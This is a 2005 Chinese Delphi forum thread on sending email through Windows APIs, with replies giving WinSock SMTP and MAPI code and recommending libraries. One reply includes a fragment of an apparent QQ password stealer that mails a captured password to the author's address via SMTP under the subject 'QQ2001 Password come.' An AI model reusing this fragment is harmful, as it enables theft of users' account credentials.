社区
Windows SDK/API
帖子详情
有没有关于发邮件的API函数?请赐教……
Love_birds
2005-04-11 11:22:43
这是个老生常谈的话题!
现在想用DELPHI调用系统API做一个收发邮件的小东西!
谁知道这要用到哪些系统API?
如果可能给我点更详细的资料就更好了!!
谢谢!
本来想为这个话题多给点分,但是看了,最多只能给100分!
如果不够,以后有机会再补!
...全文
349
12
打赏
收藏
有没有关于发邮件的API函数?请赐教……
这是个老生常谈的话题! 现在想用DELPHI调用系统API做一个收发邮件的小东西! 谁知道这要用到哪些系统API? 如果可能给我点更详细的资料就更好了!! 谢谢! 本来想为这个话题多给点分,但是看了,最多只能给100分! 如果不够,以后有机会再补!
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
12 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
Love_birds
2005-04-12
打赏
举报
回复
不错!我用API就是想自己再进行一次封装成自己的类!
现在结帐:
gogogo
2005-04-11
打赏
举报
回复
简单起见,简易楼主用indy控件做,我刚做过,感觉还可以,特别是indy10.0比较好用,不过好像也有一些小bug,例子在delphi\demos\indy,不过可能要到网上去下载
chijingde
2005-04-11
打赏
举报
回复
**********************
下面是利用WinSock发送电子邮件的例子:
whaoye:
program SendMail;
uses
winsock;
{$R *.RES}
procedure sendmails;stdcall;
var
s:tsocket;
buffer:array[0..255] of char;
errorcode:integer;
mailserver:tsockaddr;
begin
mailserver.sin_family:=af_inet;
mailserver.sin_port:=htons(25);
mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');
s:=socket(af_inet,sock_stream,0);
errorcode:=connect(s,mailserver,sizeof(mailserver));
if errorcode<>invalid_socket then
begin
buffer:='HELO'+#13#10;
send(s,buffer,length('HELO'+#13#10),0);
buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;
send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);
buffer:='RCPT TO:administrator@godeye'+#13#10;
send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);
buffer:='DATA'+#13#10;
send(s,buffer,length('DATA'+#13#10),0);
buffer:='FROM:whaoye@21cn.com'+#13#10;
send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);
buffer:='TO:administrator@godeye'+#13#10;
send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);
buffer:='SUBJECT:just a test!'+#13#10;
send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);
buffer:='I LOVE THIS GAME!'+#13#10;
send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);
buffer:='.'+#13#10;
send(s,buffer,length('.'+#13#10),0);
buffer:='QUIT'+#13#10;
send(s,buffer,length('QUIT'+#13#10),0);
closesocket(s);
end;
end;
var
wsa:twsadata;
begin
wsastartup($0202,wsa);
sendmails;
wsacleanup;
end.
*******************
//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:='HELO smtp.hacker.com'+CRLF;
2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
3:s1:='RCPT TO: <'+email+'>'+CRLF;
4:s1:='DATA'+CRLF;
5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
+'To:"getoicq"<www.password.com>'+CRLF
+'Subject:QQ2001 Password come.'+CRLF
+CRLF
+newpass+CRLF
+'.'+CRLF;
6:s1:='QUIT'+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:='202.104.32.230';
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;
chijingde
2005-04-11
打赏
举报
回复
如果想用纯API实现的话,猛料上有一篇文章,贴给你吧
纯api的发送邮件程序
function SendMail(const Subject, Body, FileName,
SenderName, SenderEMail,
RecepientName, RecepientEMail: string): Integer;
var
Message: TMapiMessage;
lpSender, lpRecepient: TMapiRecipDesc;
FileAttach: TMapiFileDesc;
SM: TFNMapiSendMail;
MAPIModule: HModule;
begin
FillChar(Message, SizeOf(Message), 0);
with Message do
begin
if (Subject <> '') then lpszSubject := PChar(Subject);
if (Body <> '') then lpszNoteText := PChar(Body);
if (SenderEmail <> '') then
begin
lpSender.ulRecipClass := MAPI_ORIG;
if (SenderName = '') then
lpSender.lpszName := PChar(SenderEMail)
else
lpSender.lpszName := PChar(SenderName);
lpSender.lpszAddress := PChar(SenderEmail);
lpSender.ulReserved := 0;
lpSender.ulEIDSize := 0;
lpSender.lpEntryID := nil;
lpOriginator := @lpSender;
end;
if (RecepientEmail <> '') then
begin
lpRecepient.ulRecipClass := MAPI_TO;
if (RecepientName = '') then
lpRecepient.lpszName := PChar(RecepientEMail)
else
lpRecepient.lpszName := PChar(RecepientName);
lpRecepient.lpszAddress := PChar(RecepientEmail);
lpRecepient.ulReserved := 0;
lpRecepient.ulEIDSize := 0;
lpRecepient.lpEntryID := nil;
nRecipCount := 1;
lpRecips := @lpRecepient;
end
else
lpRecips := nil;
if (FileName = '') then
begin
nFileCount := 0;
lpFiles := nil;
end
else
begin
FillChar(FileAttach, SizeOf(FileAttach), 0);
FileAttach.nPosition := Cardinal($FFFFFFFF);
FileAttach.lpszPathName := PChar(FileName);
nFileCount := 1;
lpFiles := @FileAttach;
end;
end;
MAPIModule := LoadLibrary(PChar(MAPIDLL));
if MAPIModule = 0 then
Result := -1
else
try
@SM := GetProcAddress(MAPIModule, 'MAPISendMail');
if @SM <> nil then
begin
Result := SM(0, Application.Handle, Message, MAPI_DIALOG or
MAPI_LOGON_UI, 0);
end
else
Result := 1;
finally
FreeLibrary(MAPIModule);
end;
if Result <> 0 then
MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,
[mbOK], 0);
end;
chijingde
2005-04-11
打赏
举报
回复
如果底层不想实现的话
下载个JMail用吧
或者装个Indy控件,自己写点代码就实现了
具体用法自己搜索,光CSDN就一大堆
herman~~
2005-04-11
打赏
举报
回复
帮顶
ehom
2005-04-11
打赏
举报
回复
我的意思是说,要用API也要按照类似的方法封装。。。
chijingde
2005-04-11
打赏
举报
回复
我也同意以上几位
强烈反对自己写底层,太不划算了(当然如果你的目的是学习就当我没说)
其实调用API跟调用人家已经提供好的接口有什么不同?
为啥非要自己写,API也是些接口,总不会也要自己实现一边吧?
俗话说得好,要站在巨人的肩膀上,嘿嘿
个人感觉INDY已经作的很好了
只要将来这个协议不发生改变,他的封装就不会出什么大错
自己用API写的话……
呵呵,我是不敢夸这个海口
gogogo
2005-04-11
打赏
举报
回复
赞同ehom(?!) ,其实SMTP,POP3协议倒是不很复杂,关键是里面的各种编码解码以及多种part,你自己搞,估计就是知道怎么写也要很久调试才能“基本”过关吧
ehom
2005-04-11
打赏
举报
回复
什么叫直接调API,如果是指上面那个WinSock发送电子邮件那种。。。那还是算了吧
这只是个API谁来封装的问题,在实际的软件开发中,这种示例根本没有利用价值,只是示例而已。
如果你真像写示例一样去写开发软件,维护性,扩展性等等都很差,甚至很容易出问题,出了问题也不好改。
关注软件的核心架构,别跟系统API扯上关系才是正确做法。
Love_birds
2005-04-11
打赏
举报
回复
我在内容中说得很清楚,我要的是纯API发送邮件
至于用VCL控件发送邮件的东西很简单,我也用过,现在我想直接用API来开发
因为这样对我来说,做起来更方便,也更灵活!
非常感谢chijingde(AD) 的贴子!
我再等等,还有没有别人的例子,下班前结贴!!
vpoor
2005-04-11
打赏
举报
回复
搜索 Simple Mail Transfer Protocol
AI黑科技:使用 Trae 和 MCP 实现
发邮件
在去年年底那会我写了篇关于开源 AI 大模型实现
发邮件
的文章,大概是这样的:比如我想让 AI 帮我发个邮件:AI 你好,
请
帮我发一封邮箱给:收件人:xx@xx.com邮件主题:hi 李雷邮件内容:I am 韩梅梅AI 可以聊天,可以生成图片,可以生成视频,那它能
发邮件
吗?一般来说互联网版本的 AI 可以帮我们拟邮件内容与标题,但不会给我们自动
发邮件
,毕竟这操作就和病毒一样有点可怕。当然如果是在自己本地的私有化 AI 来说这就是可以实现的功能。如何给 AI 赋予
发邮件
的能力?
推荐一款免费的发送邮件接口
API
一款直接可用的不限次数的可以自定义邮件主题、内容等信息的
API
接口
linux
api
函数
接口,
api
接口
api
接口[编辑]概述
API
是一组定义、程序及协议的集合,通过
API
接口实现计算机软件之间的相互通信。
API
的一个主要功能是提供通用功能集。
API
同时也是一种中间件,为各种不同平台提供数据共享。一、分类(一)Windows
API
Windows
API
是一套用来控制Windows的各个部件的外观和行为的预先定义的Windows
函数
。用户的每个动作都会引发一个或几个
函数
的运行以告诉Windo...
iOS10打电话、发短信、
发邮件
等小功能
注意:iOS10.0以后,使用openURL会有延迟,需要使用 openURL: options: completionHandler: 一、概要 本文中主要就是介绍在iOS中实现打电话、发短信、
发邮件
三个功能。 每种功能都会给出不同的方法,亲测有效~ 1、打电话 (1)直接跳到拨号界面,代码如下 NSURL *url = [NSURL URLWithString...
ABAP
发邮件
函数
步骤: 一、检查输入参数, (1)未指定文件類別代碼,(2)未指定郵件主題, (3)未指定郵件內容, (4)未指定發送人郵件地址, (5)未指定接收人郵件地址, 二、调用发送功能, (1)创建发送
请
求 (2)创建整理发送内容, 增加附件內容(3)添加邮件内容到发送
请
求 (4)設置發送人出件地址 (5)接收者邮件地...
Windows SDK/API
1,184
社区成员
22,326
社区内容
发帖
与我相关
我的任务
Windows SDK/API
Delphi Windows SDK/API
复制链接
扫一扫
分享
社区描述
Delphi Windows SDK/API
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章